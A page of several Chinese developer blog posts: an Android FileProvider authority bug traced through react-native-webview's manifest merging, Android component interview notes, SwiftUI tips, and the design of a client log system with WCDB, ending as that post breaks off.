于是我看了看 AndroidManifest.xml 文件,发现我们的 <provider>authorities 是写死的 com.b.c.fileprovider ,我知道出现问题的原因就是在这里,于是我就将配置改成下面这样:


<provider
    android:name="androidx.core.content.FileProvider"
    android:authorities="${applicationId}.fileprovider"
    android:exported="false"
    android:grantUriPermissions="true">
    <meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
        android:resource="@xml/file_paths" />
</provider>

改完以后赶快打了一个补救包,上传了上去,我认为问题已经解决,但是我们没有找到原因,首先要定位的是什么代码导致的这个问题,为什么以前可以,于是开始查看提交记录和合并记录,最终定位到是因为 react-native 的删除导致的,但是又产生了一个问题,为什么我删除 react-native 会导致这个问题,等我还在纠结的时候,突然反馈 app 拍照功能不能使用,这个功能是我们 app 的核心功能,一下从原来的无伤大雅变成了遍体鳞伤,这下整个部门都在问什么原因,于是我赶快放下脑中的疑惑,开始去项目的茫茫大海中寻找答案,我知道答案就在那里,也就是跟包相关的,于是根据问题,我检查了跟包相关的代码,发现在拍照的地方由于要保存,代码(部分)如下:


private const val authorities = "com.b.a.fileprovider"
FileProvider.getUriForFile(requireContext(), authorities, file)

我知道是由于我之前把 AndroidManifest.xml 改了以后导致的。于是我就把相关的代码都检查了一遍,确定都跟包名想通了,我才打包给测试,测试完成以后才再一次上线。


这下问题都被我解决了,只不过脑袋里面仍然有很多疑惑,之前我从 react-native 开发的时候由于看原生代码比较困难,现在我觉得我能找到这个问题的最终答案,于是开始了我的寻找问题之旅。


首先回到刚才的问题,为啥删除 react-native 会对包名造成影响呢,于是我开始复原删除之前,通过递减删除的方式排查,看看到底是那一行删除导致的。


其实认真看到这里的小伙伴肯定知道,并不是 react-native 的问题,而是本身我们代码编写的有问题,所以准确的说是 react-native 的什么代码屏蔽了问题。其中 react-native 嵌入原生是根据集成到现有原生应用引入的。在使用排除法的过程中,发现在 app/build.gradle 中配置:


apply from: file("../../node_modules/@react-native-community/cli-platform-android/native_modules.gradle"); applyNativeModulesAppBuildGradle(project)

是这行代码导致的,于是我尝试看这个 native_modules.gradle 文件,首先我从构造函数看起,其实我不会 groovy 语言,只是我大致看了看发现跟 java 差不多,所以上面的代码大差不差能够看懂,先看构造:


ReactNativeModules(Logger logger, File root) {
    this.logger = logger
    this.root = root
    def (nativeModules, packageName) = this.getReactNativeConfig()
    this.reactNativeModules = nativeModules
    this.packageName = packageName
}

这里有 packageName ,于是我就想是不是因为执行这个 this.getReactNativeConfig() 修改了 packageName ,其实我一直不相信会修改包名,但是我不敢确定,毕竟我刚接触 android 不久。于是我就继续看这个函数的实现:


ArrayList<HashMap<String, String>> getReactNativeConfig() {
    if (this.reactNativeModules != null) return this.reactNativeModules
    ArrayList<HashMap<String, String>> reactNativeModules = new ArrayList<HashMap<String, String>>()
    def cliResolveScript = "console.log(require('react-native/cli').bin);"
    String[] nodeCommand = ["node", "-e", cliResolveScript]
    def cliPath = this.getCommandOutput(nodeCommand, this.root)
    String[] reactNativeConfigCommand = ["node", cliPath, "config"]
    def reactNativeConfigOutput = this.getCommandOutput(reactNativeConfigCommand, this.root)
    def json
    try {
      json = new JsonSlurper().parseText(reactNativeConfigOutput)
    } catch (Exception exception) {
      throw new Exception("Calling `${reactNativeConfigCommand}` finished with an exception. Error message: ${exception.toString()}. Output: ${reactNativeConfigOutput}");
    }
    def dependencies = json["dependencies"]
    def project = json["project"]["android"]
    if (project == null) {
      throw new Exception("React Native CLI failed to determine Android project configuration. This is likely due to misconfiguration. Config output:\n${json.toMapString()}")
    }
    dependencies.each { name, value ->
      def platformsConfig = value["platforms"];
      def androidConfig = platformsConfig["android"]
      if (androidConfig != null && androidConfig["sourceDir"] != null) {
        this.logger.info("${LOG_PREFIX}Automatically adding native module '${name}'")
        HashMap reactNativeModuleConfig = new HashMap<String, String>()
        reactNativeModuleConfig.put("name", name)
        reactNativeModuleConfig.put("nameCleansed", name.replaceAll('[~*!\'()]+', '_').replaceAll('^@([\\w-.]+)/', '$1_'))
        reactNativeModuleConfig.put("androidSourceDir", androidConfig["sourceDir"])
        reactNativeModuleConfig.put("packageInstance", androidConfig["packageInstance"])
        reactNativeModuleConfig.put("packageImportPath", androidConfig["packageImportPath"])
        this.logger.trace("${LOG_PREFIX}'${name}': ${reactNativeModuleConfig.toMapString()}")
        reactNativeModules.add(reactNativeModuleConfig)
      } else {
        this.logger.info("${LOG_PREFIX}Skipping native module '${name}'")
      }
    }
    return [reactNativeModules, json["project"]["android"]["packageName"]];
  }
}

发现这里实际上是从 nodejs 执行结果拿到的信息,而执行的 js 文件的位置在 rn项目/node_modules/react-native/node_modules/@react-native-community/cli/build/index.js 下,这里是具体执行的 js 文件,前面还有一个 js 文件,只不过没有代码,就是执行这里面的 run 方法:


async function run() {
  try {
    await setupAndRun();
  } catch (e) {
    handleError(e);
  }
}

接着看 setupAndRun() 函数:


async function setupAndRun() {
  if (process.argv.includes('config')) {
    _cliTools().logger.disable();
  }
  _cliTools().logger.setVerbose(process.argv.includes('--verbose')); // We only have a setup script for UNIX envs currently
  if (process.platform !== 'win32') {
    const scriptName = 'setup_env.sh';
    const absolutePath = _path().default.join(__dirname, '..', scriptName);
    try {
      _child_process().default.execFileSync(absolutePath, {
        stdio: 'pipe',
      });
    } catch (error) {
      _cliTools().logger.warn(
        `Failed to run environment setup script "${scriptName}"\n\n${_chalk().default.red(
          error,
        )}`,
      );
      _cliTools().logger.info(
        `React Native CLI will continue to run if your local environment matches what React Native expects. If it does fail, check out "${absolutePath}" and adjust your environment to match it.`,
      );
    }
  }
  for (const command of _commands.detachedCommands) {
    attachCommand(command);
  }
  try {
    const config = (0, _config.default)();
    _cliTools().logger.enable();
    for (const command of [..._commands.projectCommands, ...config.commands]) {
      attachCommand(command, config);
    }
  } catch (error) {
    if (error.message.includes("We couldn't find a package.json")) {
      _cliTools().logger.enable();
      _cliTools().logger.debug(error.message);
      _cliTools().logger.debug(
        'Failed to load configuration of your project. Only a subset of commands will be available.',
      );
    } else {
      throw new (_cliTools().CLIError)(
        'Failed to load configuration of your project.',
        error,
      );
    }
  }
  _commander().default.parse(process.argv);
  if (_commander().default.rawArgs.length === 2) {
    _commander().default.outputHelp();
  }
  if (
    _commander().default.args.length === 0 &&
    _commander().default.rawArgs.includes('--version')
  ) {
    console.log(pkgJson.version);
  }
}

经过我打印日志,最终发现是 _commander().default.parse(process.argv) 这行代码返回给 groovy 的,但是我发现这行代码也只是读取配置的,跟修改不相关,于是我就开始假设,有没有可能是 groovy 最终修改,只是从 js 拿到相关的信息,于是我就直接把拿到的值进行修改,也就是 native_modules.gradle 里面的 this.getReactNativeConfig 函数返回值,于是我做了修改了:


ArrayList<HashMap<String, String>> getReactNativeConfig() {
    if (this.reactNativeModules != null) return this.reactNativeModules
    ArrayList<HashMap<String, String>> reactNativeModules = new ArrayList<HashMap<String, String>>()
    def dependencies = new JsonSlurper().parseText('{"react-native-webview":{"root":"/Users/wujingyue/Works/yq-bss-tour-rn/node_modules/react-native-webview","name":"react-native-webview","platforms":{"ios":{"sourceDir":"/Users/wujingyue/Works/yq-bss-tour-rn/node_modules/react-native-webview/ios","folder":"/Users/wujingyue/Works/yq-bss-tour-rn/node_modules/react-native-webview","pbxprojPath":"/Users/wujingyue/Works/yq-bss-tour-rn/node_modules/react-native-webview/ios/RNCWebView.xcodeproj/project.pbxproj","podfile":null,"podspecPath":"/Users/wujingyue/Works/yq-bss-tour-rn/node_modules/react-native-webview/react-native-webview.podspec","projectPath":"/Users/wujingyue/Works/yq-bss-tour-rn/node_modules/react-native-webview/ios/RNCWebView.xcodeproj","projectName":"RNCWebView.xcodeproj","libraryFolder":"Libraries","sharedLibraries":[],"plist":[],"scriptPhases":[]},"android":{"sourceDir":"/Users/wujingyue/Works/yq-bss-tour-rn/node_modules/react-native-webview/android","folder":"/Users/wujingyue/Works/yq-bss-tour-rn/node_modules/react-native-webview","packageImportPath":"import com.reactnativecommunity.webview.RNCWebViewPackage;","packageInstance":"new RNCWebViewPackage()"}},"assets":[],"hooks":{},"params":[]}}')
dependencies.each { name, value ->
      def platformsConfig = value["platforms"];
      def androidConfig = platformsConfig["android"]
      if (androidConfig != null && androidConfig["sourceDir"] != null) {
        this.logger.info("${LOG_PREFIX}Automatically adding native module '${name}'")
        HashMap reactNativeModuleConfig = new HashMap<String, String>()
        reactNativeModuleConfig.put("name", name)
        reactNativeModuleConfig.put("nameCleansed", name.replaceAll('[~*!\'()]+', '_').replaceAll('^@([\\w-.]+)/', '$1_'))
        reactNativeModuleConfig.put("androidSourceDir", androidConfig["sourceDir"])
        reactNativeModuleConfig.put("packageInstance", androidConfig["packageInstance"])
        reactNativeModuleConfig.put("packageImportPath", androidConfig["packageImportPath"])
        this.logger.trace("${LOG_PREFIX}'${name}': ${reactNativeModuleConfig.toMapString()}")
        reactNativeModules.add(reactNativeModuleConfig)

      } else {
        this.logger.info("${LOG_PREFIX}Skipping native module '${name}'")
      }
    }
// 这儿直接返回我想要的值 com.a.b
    return [reactNativeModules, "com.a.b"];
  }
}

其中 dependencies 变量的值远不止这些,很多个。首先我让 dependencies 的值是一个空值,也就是 new JsonSlurper().parseText('{}') ,然后我发现居然不行了,也就是升级闪退,之前是可以的;于是我根据这个现象提出假设,是由于这个字符串中的某一个插件导致的,于是我就根据这个假设开始把一个个插件放入其中进行测试,最后发现 react-native-webview ,你不知道的是 react-native-webview 是最后一个插件,我把前面所有的都测试了,真的是又喜又悲,终于我把范围进一步缩小了,接下来,我就开始对插件 react-native-webview 的代码进行检查。


我最喜欢的还是“注释法”,也就是经典的“排除法”,我首先把所有代码都注释掉,只剩下空壳,发现仍然可以正常安装,说明不是在代码上,然后我再对插件的 build.gradle 采用“注释法”,结果还是可以,说明不是在这里,这时我感觉到无力,但是这个时候我突然想到“山重水复疑无路,柳暗花明又一村”,于是我开始对整个插件的每个文件进行检查,然后一个文件出现在我眼前 AndroidManifest.xml ,我打开看了看,看到了这个插件也定义了 <provider> 。而且是正确的方式,于是我又提出假设来解释现象,如果 AndroidManifest.xml 最终采用的是插件 react-native-webview<provider> ,那么就能解释这个原因了,但这仅仅是假设,我得在实践中证明我的假设是正确的。


首先我尝试修改 react-native-webview 插件中的 AndroidManifest.xml 下的 authorities ,我首先修改成跟项目的相同,结果闪退,符合我得猜想,说明项目的确会进行合并,于是我开始翻阅文档进一步证明我的结论,首先我看了看 AndroidManifest.xml 配置相关的文档 ,我看到了下面这句描述,也就是代表 authorities 支持多个。



android:authorities

一个或多个 URI 授权方的列表,这些 URI 授权方用于标识内容提供程序提供的数据。列出多个授权方时,用分号将其名称分隔开来。为避免冲突,授权方名称应遵循 Java 样式的命名惯例(如com.example.provider.cartoonprovider)。通常,它是实现提供程序的ContentProvider子类的名称。

没有默认值。必须至少指定一个授权方。



第一次看到这个我没想到啥,只不过后面文档让我想到了这个,然后做了验证,最终找到了答案。首先是同事找到了合并多个清单文件这个,证实了 AndroidManifest.xml 会合并的假设,然后又看到了这个检查合并后的清单并查找冲突
image.png
然后我去看了看我们的项目,发现了这个,并且我看了看合并后的内容,发现 react-native-webview 的在最后,也就是会替换项目中 authorities ,但是我仔细看了看这个文件,发现下面还有定义的 authorities ,也就是说,如果是覆盖是说不通的,因为后面的 authorities 就会导致报错,但是实际上并没有,于是我尝试修改使用的地方,把 FileProvider.getUriForFile(requireContext(), authorities, file) 中的第二个参数改成这些定义的,发现仍然能成功,也就是说我们定义的所有这些都会生效,于是我想到了上面的那句被我标记为红色的话,发现一切迷雾都解开了。


到这里可以说结束了,但我在想为啥会这样设计呢?我最后想到的答案是,对于那些插件来说,他并不知道别人项目中的 authorities 定义,那怎么保证插件可以到处使用呢,答案很显然,那就是多个生效,插件不需要知道项目中是怎样定义的,只需要使用自己插件中定义好的。


作者:吴敬悦
链接:https://juejin.cn/post/7044044227063316488
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Activity基础知识—四大组件

Activity Activity的生命周期 真的没什么难度,大家自行了解。 有些会问到横竖屏切换的生命周期。 Activity A 启动 Activity B,然后B再返回A,他们的生命周期怎么走 需要考虑一下B是不是透明的,透明盒不透明生命周期是不一样...
继续阅读 »

Activity


Activity的生命周期


真的没什么难度,大家自行了解。
有些会问到横竖屏切换的生命周期。

Activity A 启动 Activity B,然后B再返回A,他们的生命周期怎么走


需要考虑一下B是不是透明的,透明盒不透明生命周期是不一样的。
需要考虑 B 的启动模式,不同的启动模式会有一定的区别。

Activity在走了哪个生命周期之后会显示出来


onResume()
简单来说就是:在onResume回调之后,会创建一个 ViewRootImpl ,有了它之后应用端就可以和 WMS 进行双向调用了。

Activity的启动模式有哪些


没什么难度,大家自行了解。

Activity的启动流程


1、点击桌面App图标,Launcher进程采用Binder IPC(AMS)向system_server进程发起startActivity请求; 
2、system_server进程接收到请求后,向zygote进程发送创建进程的请求;
3、Zygote进程fork出新的子进程,即App进程;
4、App进程,通过Binder IPC向sytem_server进程发起attachApplication请求;
5、system_server进程在收到请求后,进行一系列准备工作后,再通过binder IPC向App进程发送scheduleLaunchActivity请求;
6、App进程的binder线程(ApplicationThread)在收到请求后,通过handler向主线程发送LAUNCH_ACTIVITY消息;
7、主线程在收到Message后,通过发射机制创建目标Activity,并回调Activity.onCreate()等方法。

Fragment的生命周期,Fragment和Activity之间的传参


需要区别Fragment和Activity之间的生命周期
1.Activity–onCreate();
2.Fragment–onAttach();
3.Fragment–onCreate();
4.Fragment–onCreateView();
5.Fragment–onActivityCreated();

接着是这样的:
6.Activity–onStart();
7.Fragment–onStart();
8.Activity–onResume();
9.Fragment–onResume();

当销毁的时候
10.Fragment–onPause();
11.Activity–onPause();
12.Fragment–onStop();
13.Activity–onStop();
14.Fragment–onDestroyView();
15.Fragment–onDestroy();
16.Fragment–onDetach();
17.Activity–onDestroy();

Service


Service的生命周期


image.png


IntentService和Service区别


IntentService内部实现了一个线程,可以去执行耗时操作

HandlerThread


继承自Thread,内部创建了一个Looper

Service和Thread的区别还有优缺点


Service 是android的一种机制Service 是运行在主进程的 main 线程上的。
Thread会开辟一个线程去执行它是分配CPU的基本单位。

进程的几种类型


前台进程
可视进程
服务进程
后台进程

Broadcast


有哪几类广播


普通广播(自定义广播)
系统广播
有序广播
粘性广播
应用内广播

LocalBroadcast的实现原理


ContentProvider


image.png


作者:OnlyTerminator
链接:https://juejin.cn/post/7044108847119597575
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

SwiftUI开发小技巧总结(不定期更新)

iOS
目前SwiftUI还不完善,而且实际使用还会存在一些缺陷。网上的教程目前还很少,有也是收费的。因此特地整理一些平时开发中遇到的问题,免费提供给读者。 (注:本文主要面向对SwiftUI有一定基础的读者。) 调整状态栏样式 StatusBarStyle 尝试In...
继续阅读 »

目前SwiftUI还不完善,而且实际使用还会存在一些缺陷。网上的教程目前还很少,有也是收费的。因此特地整理一些平时开发中遇到的问题,免费提供给读者。


(注:本文主要面向对SwiftUI有一定基础的读者。)


调整状态栏样式 StatusBarStyle


尝试Info.plistUIApplication.statusBarStyle方法无效。如果有UIViewController作为根视图,重写方法preferredStatusBarStyle,这样可以控制全局;如果要设置单个页面的样式用preferredColorScheme(.light),但测试似乎设置无效。还有另一个方法:stackoverflow.com/questions/5…


调整导航栏样式 NavigationBar


let naviAppearance = UINavigationBarAppearance()
naviAppearance.configureWithOpaqueBackground() // 不透明背景样式
naviAppearance.backgroundColor = UIColor.whiteColor // 背景色
naviAppearance.shadowColor = UIColor.whiteColor // 阴影色
naviAppearance.titleTextAttributes = [:] // 标题样式
naviAppearance.largeTitleTextAttributes = [:] // 大标题样式
UINavigationBar.appearance().standardAppearance = naviAppearance
UINavigationBar.appearance().compactAppearance = naviAppearance
UINavigationBar.appearance().scrollEdgeAppearance = naviAppearance
UINavigationBar.appearance().tintColor = UIColor.blackColor // 导航栏按钮颜色


注意configureWithOpaqueBackground()需要在其它属性设置之前调用,除此之外还有透明背景configureWithTransparentBackground(),设置背景模糊效果backgroundEffect(),背景和阴影图片等,以及导航栏按钮样式也可修改。


调整标签栏样式 TabBar


let itemAppearance = UITabBarItemAppearance()
itemAppearance.normal.iconColor = UIColor.whiteColor // 正常状态的图标颜色
itemAppearance.normal.titleTextAttributes = [:] // 正常状态的文字样式
itemAppearance.selected.iconColor = UIColor.whiteColor // 选中状态的图标颜色
itemAppearance.selected.titleTextAttributes = [:] // 选中状态的文字样式
let tabBarAppearance = UITabBarAppearance()
tabBarAppearance.configureWithOpaqueBackground() // 不透明背景样式
tabBarAppearance.stackedLayoutAppearance = itemAppearance
tabBarAppearance.backgroundColor = UIColor.whiteColor // 背景色
tabBarAppearance.shadowColor = UIColor.clear // 阴影色
UITabBar.appearance().standardAppearance = tabBarAppearance


注意configureWithOpaqueBackground()同样需要在其它属性设置之前调用,和UINavigationBarAppearance一样有同样的设置,除此之外还可以为每个标签项设置指示器外观。


标签视图 TabView


设置默认选中页面:方法如下,同时每个标签项需要设置索引值tag()


TabView(selection: $selectIndex, content: {})
复制代码

控制底部标签栏显示和隐藏:


UITabBar.appearance().isHidden = true


NavigationView与TabView结合使用时,进入子页面TabBar不消失问题:不用默认的TabBar,将其隐藏,自己手动实现一个TabBar,放在根视图中。


键盘


输入框获得焦点(弹出键盘):在iOS15上增加了方法focused(),注意这个方法在视图初始化时是无效的,需要在onAppear()中延迟一定时间调用才可以。在此之前的系统只能自定义控件的方法实现参考这个:stackoverflow.com/questions/5…


关闭键盘,两种方法都可以:


UIApplication.shared.keyWindow?.endEditing(true)
UIApplication.shared.sendAction(#selector(UIResponder.resignFirstResponder), to: nil, from: nil, for: nil)


添加键盘工具栏:


.toolbar()


手势


获得按下和松开的状态:


.simultaneousGesture(
DragGesture(minimumDistance: 0)
    .onChanged({ _ in })
    .onEnded({ _ in })
)


通过代码滚动ScrollView到指定位置:借助ScrollViewReader可以获取位置,在onAppear()中设置位置scrollTo(),我们实际使用发现,需要做个延迟执行才会有效,可以把执行放在DispatchQueue.main.async()中执行。


TextEditor


修改背景色:


UITextView.appearance().backgroundColor


处理Return键结束编辑:


.onChange(of: text) { value in
if value.last == "\n" {
UIApplication.shared.keyWindow?.endEditing(true)
}
}


Text文本内部对齐方式


multilineTextAlignment(.center)


页面跳转


容易出错的情况:开发中会经常遇到这样的需求,列表中选择一项,进入子页面。点击按钮返回上一页。此时再次点击列表中的某一项,会发现显示的页面内容是错误的。如果你是用NavigationLink做页面跳转,并传递了isActive参数,那么是会遇到这样的问题。原因在于多个页面的使用的是同一个isActive参数。解决办法是,列表中每一项都用独立的变量控制。NavigationView也尽量不要写在TabView外面,可能会导致莫名其妙的问题。


属性包装器在init中的初始化


init方法中直接赋值会发现无法成功,应该用属性包装器自身的方法包装起来,赋值的属性名前加_,例如:


_value = State<Int>(initialValue: 1)
_value = Binding<Bool>.constant(true) // 也可以使用Swift语法特性直接写成.constant(true)


View如何忽略触摸事件


allowsHitTesting(false)

作者:iOS技术小组
链接:https://juejin.cn/post/7037780197076123685

收起阅读 »

设计一套完整的日志系统

iOS
需求日志对于线上排查问题是非常重要的,很多问题其实是很偶现的,同样的系统版本,同样的设备,可能就是用户的复现,而开发通过相同的操作和设备就是不复现。但是这个问题也不能一直不解决,所以可以通过日志的方式排查问题。可能是后台导致的问题,也可能是客户端逻辑问题,在关...
继续阅读 »

需求

日志对于线上排查问题是非常重要的,很多问题其实是很偶现的,同样的系统版本,同样的设备,可能就是用户的复现,而开发通过相同的操作和设备就是不复现。但是这个问题也不能一直不解决,所以可以通过日志的方式排查问题。可能是后台导致的问题,也可能是客户端逻辑问题,在关键点记录日志可以快速定位问题。

假设我们的用户量是一百万日活,其中有1%的用户使用出现问题,即使这个问题并不是崩溃,就是业务上或播放出现问题。那这部分用户就是一万的用户,一万的用户数量是很庞大的。而且大多数用户在遇到问题后,并不会主动去联系客服,而是转到其他平台上。

虽然我们现在有Kibana网络监控,但是只能排查网络请求是否有问题,用户是否在某个时间请求了服务器,服务器下发的数据是否正确,但是如果定位业务逻辑的问题,还是要客户端记录日志。

现状

我们项目中之前有日志系统,但是从业务和技术的角度来说,存在两个问题。现有的日志系统从业务层角度,需要用户手动导出并发给客服,对用户有不必要的打扰。而且大多数用户并不会答应客服的请求,不会导出日志给客服。从技术的角度,现有的日志系统代码很乱,而且性能很差,导致线上不敢持续记录日志,会导致播放器卡顿。

而且现有的日志系统仅限于debug环境开启主动记录,线上是不开启的,线上出问题后需要用户手动打开,并且记录时长只有三分钟。正是由于现在存在的诸多问题,所以大家对日志的使用并不是很积极,线上排查问题就比较困难。

方案设计

思路

正是针对现在存在的问题,我准备做一套新的日志系统,来替代现有的日志系统。新的日志系统定位很简单,就是纯粹的记录业务日志。Crash、埋点这些,我们都不记录在里面,这些可以当做以后的扩展。日志系统就记录三种日志,业务日志、网络日志、播放器日志。

日志收集我们采用的主动回捞策略,在日志平台上填写用户的uid,通过uid对指定设备下发回捞指令,回捞指令通过长连接的方式下发。客户端收到回捞指令后,根据筛选条件对日志进行筛选,随后以天为单位写入到不同的文件中,压缩后上传到后端。

在日志平台可以根据指定的条件进行搜索,并下载文件查看日志。为了便于开发者查看日志,从数据库取出的日志都会写成.txt形式,并上传此文件。

API设计

对于调用的API设计,应该足够简单,业务层使用时就像调用NSLog一样。所以对于API的设计方案,我采用的是宏定义的方式,调用方法和NSLog一样,调用很简单。

#if DEBUG
#define SVLogDebug(frmt, ...) [[SVLogManager sharedInstance] mobileLogContent:(frmt), ##__VA_ARGS__]
#else
#define SVLogDebug(frmt, ...) NSLog(frmt, ...)
#endif

日志总共分为三种类型,业务日志、播放器日志、网络日志,对于三种日志分别对应着不同的宏定义。不同的宏定义,写入数据库的类型也不一样,可以用户日志筛选。

  • 业务日志:SVLogDebug
  • 播放器日志:SVLogDebugPlayer
  • 网络日子:SVLogDebugQUIC

淘汰策略

不光是要往数据库里写,还需要考虑淘汰策略。淘汰策略需要平衡记录的日志数量,以及时效性的问题,日志数量尽量够排查问题,并且还不会占用过多的磁盘空间。所以,在日志上传之后会将已上传日志删除掉,除此之外日志淘汰策略有以下两种。

  1. 日志最多只保存三天,三天以前的日志都会被删掉。在应用启动后进行检查,并后台线程执行这个过程。
  2. 日志增加一个最大阈值,超过阈值的日志部分,以时间为序,从前往后删除。我们定义的阈值大小为200MB,一般不会超过这个大小。

记录基础信息

在排查问题时一些关键信息也很重要,例如用户当时的网络环境,以及一些配置项,这些因素对代码的执行都会有一些影响。对于这个问题,我们也会记录一些用户的配置信息及网络环境,方便排查问题,但不会涉及用户经纬度等隐私信息。

数据库

旧方案

之前的日志方案是通过DDLog实现的,这种方案有很严重的性能问题。其写入日志的方式,是通过NSData来实现的,在沙盒创建一个txt文件,通过一个句柄来向本地写文件,每次写完之后把句柄seek到文件末尾,下次直接在文件末尾继续写入日志。日志是以NSData的方式进行处理的,相当于一直在频繁的进行本地文件写入操作,还要在内存中维持一个或者多个句柄对象。

这种方式还有个问题在于,因为是直接进行二进制写入,在本地存储的是txt文件。这种方式是没有办法做筛选之类的操作的,扩展性很差,所以新的日志方案我们打算采用数据库来实现。

方案选择

我对比了一下iOS平台主流的数据库,发现WCDB是综合性能最好的,某些方面比FMDB都要好,而且由于是C++实现的代码,所以从代码执行的层面来讲,也不会有OC的消息发送和转发的额外消耗。

根据WCDB官网的统计数据,WCDBFMDB进行对比,FMDB是对SQLite进行简单封装的框架,和直接用SQLite差别不是很大。而WCDB则在sqlcipher的基础上进行的深度优化,综合性能比FMDB要高,以下是性能对比,数据来自WCDB官方文档。

单次读操作WCDB要比FMDB5%左右,在for循环内一直读。

15906481049447.jpg

单次写操作WCDB要比FMDB28%,一个for循环一直写。

15906481114970.jpg

批量写操作比较明显,WCDB要比FMDB180%,一个批量任务写入一批数据。

15906481277664.jpg

从数据可以看出,WCDB在写操作这块性能要比FMDB要快很多,而本地日志最频繁的就是写操作,所以这正好符合我们的需求,所以选择WCDB作为新的数据库方案是最合适的。而且项目中曝光模块已经用过WCDB,证明这个方案是可行并且性能很好的。

表设计

我们数据库的表设计很简单,就下面四个字段,不同类型的日志用type做区分。如果想增加新的日志类型,也可以在项目中扩展。因为使用的是数据库,所以扩展性很好。

  • index:主键,用来做索引。
  • content:日志内容,记录日志内容。
  • createTime:创建时间,日志入库的时间。
  • type:日志类型,用来区分三种类型。

数据库优化

我们是视频类应用,会涉及播放、下载、上传等主要功能,这些功能都会大量记录日志,来方便排查线上问题。所以,避免数据库太大就成了我在设计日志系统时,比较看重的一点。

根据日志规模,我对播放、下载、上传三个模块进行了大量测试,播放一天两夜、下载40集电视剧、上传多个高清视频,累计记录的日志数量大概五万多条。我发现数据库文件夹已经到200MB+的大小,这个大小已经是比较大的,所以需要对数据库进行优化。

我观察了一下数据库文件夹,有三个文件,dbshmwal,主要是数据库的日志文件太大,db文件反而并不大。所以需要调用sqlite3_wal_checkpointwal内容写入到数据库中,这样可以减少walshm文件的大小。但WCDB并没有提供直接checkpoint的方法,所以经过调研发现,执行database的关闭操作时,可以触发checkpoint

我在应用程序退出时,监听了terminal通知,并且把处理实际尽量靠后。这样可以保证日志不被遗漏,而且还可以在程序退出时关闭数据库。经过验证,优化后的数据库磁盘占用很小。143,987条数据库,数据库文件大小为34.8MB,压缩后的日志大小为1.4MB,解压后的日志大小为13.6MB

wal模式

这里顺带讲一下wal模式,以方便对数据库有更深入的了解。SQLite3.7版本加入了wal模式,但默认是不开启的,iOS版的WCDBwal模式自动开启,并且做了一些优化。

wal文件负责优化多线程下的并发操作,如果没有wal文件,在传统的delete模式下,数据库的读写操作是互斥的,为了防止写到一半的数据被读到,会等到写操作执行完成后,再执行读操作。而wal文件就是为了解决并发读写的情况,shm文件是对wal文件进行索引的。

SQLite比较常用的deletewal两种模式,这两种模式各有优势。delete是直接读写db-page,读写操作的都是同一份文件,所以读写是互斥的,不支持并发操作。而walappend新的db-page,这样写入速度比较快,而且可以支持并发操作,在写入的同时不读取正在操作的db-page即可。

由于delete模式操作的db-page是离散的,所以在执行批量写操作时,delete模式的性能会差很多,这也就是为什么WCDB的批量写入性能比较好的原因。而wal模式读操作会读取dbwal两个文件,这样会一定程度影响读数据的性能,所以wal的查询性能相对delete模式要差。

使用wal模式需要控制wal文件的db-page数量,如果page数量太大,会导致文件大小不受控制。wal文件并不是一直增加的,根据SQLite的设计,通过checkpoint操作可以将wal文件合并到db文件中。但同步的时机会导致查询操作被阻塞,所以不能频繁执行checkpoint。在WCDB中设置了一个1000的阈值,当page达到1000后才会执行一次checkpoint

这个1000是微信团队的一个经验值,太大会影响读写性能,而且占用过多的磁盘空间。太小会频繁执行checkpoint,导致读写受阻。

# define SQLITE_DEFAULT_WAL_AUTOCHECKPOINT  1000

sqlite3_wal_autocheckpoint(db, SQLITE_DEFAULT_WAL_AUTOCHECKPOINT);

int sqlite3_wal_autocheckpoint(sqlite3 *db, int nFrame){
#ifdef SQLITE_OMIT_WAL
UNUSED_PARAMETER(db);
UNUSED_PARAMETER(nFrame);
#else
#ifdef SQLITE_ENABLE_API_ARMOR
if( !sqlite3SafetyCheckOk(db) ) return SQLITE_MISUSE_BKPT;
#endif
if( nFrame>0 ){
sqlite3_wal_hook(db, sqlite3WalDefaultHook, SQLITE_INT_TO_PTR(nFrame));
}else{
sqlite3_wal_hook(db, 0, 0);
}
#endif
return SQLITE_OK;
}

也可以设置日志文件的大小限制,默认是-1,也就是没限制,journalSizeLimit的意思是,超出的部分会被覆写。尽量不要修改这个文件,可能会导致wal文件损坏。

i64 sqlite3PagerJournalSizeLimit(Pager *pPager, i64 iLimit){
if( iLimit>=-1 ){
pPager->journalSizeLimit = iLimit;
sqlite3WalLimit(pPager->pWal, iLimit);
}
return pPager->journalSizeLimit;
}

下发指令

日志平台

日志上报应该做到用户无感知,不需要用户主动配合即可进行日志的自动上传。而且并不是所有的用户日志都需要上报,只有出问题的用户日志才是我们需要的,这样也可以避免服务端的存储资源浪费。对于这些问题,我们开发了日志平台,通过下发上传指令的方式告知客户端上传日志。

037C8667-914E-43A7-8B6D-7B6EDD80E3A5.png

我们的日志平台做的比较简单,输入uid对指定的用户下发上传指令,客户端上传日志之后,也可以通过uid进行查询。如上图,下发指令时可以选择下面的日志类型和时间区间,客户端收到指令后会根据这些参数做筛选,如果没选择则是默认参数。搜索时也可以使用这三个参数。

日志平台对应一个服务,点击按钮下发上传指令时,服务会给长连接通道下发一个jsonjson中包含上面的参数,以后也可以用来扩展其他字段。上传日志是以天为单位的,所以在这里可以根据天为单位进行搜索,点击下载可以直接预览日志内容。

长连接通道

指令下发这块我们利用了现有的长连接,当用户反馈问题后,我们会记录下用户的uid,如果技术需要日志进行排查问题时,我们会通过日志平台下发指令。

指令会发送到公共的长连接服务后台,服务会通过长连接通道下发指令,如果指令下发到客户端之后,客户端会回复一个ack消息回复,告知通道已经收到指令,通道会将这条指令从队列中移除。如果此时用户未打开App,则这条指令会在下次用户打开App,和长连接通道建立连接时重新下发。

未完成的上传指令会在队列中,但最多不超过三天,因为超过三天的指令就已经失去其时效性,问题当时可能已经通过其他途径解决。

静默push

用户如果打开App时,日志指令的下发可以通过长连接通道下发。还有一种场景,也是最多的一种场景,用户未打开App怎么解决日志上报的问题,这块我们还在探索中。

当时也调研了美团的日志回捞,美团的方案中包含了静默push的策略,但是经过我们调研之后,发现静默push基本意义不大,只能覆盖一些很小的场景。例如用户App被系统kill掉,或者在后台被挂起等,这种场景对于我们来说并不多见。另外和push组的人也沟通了一下,push组反馈说静默push的到达率有些问题,所以就没采用静默push的策略。

日志上传

分片上传

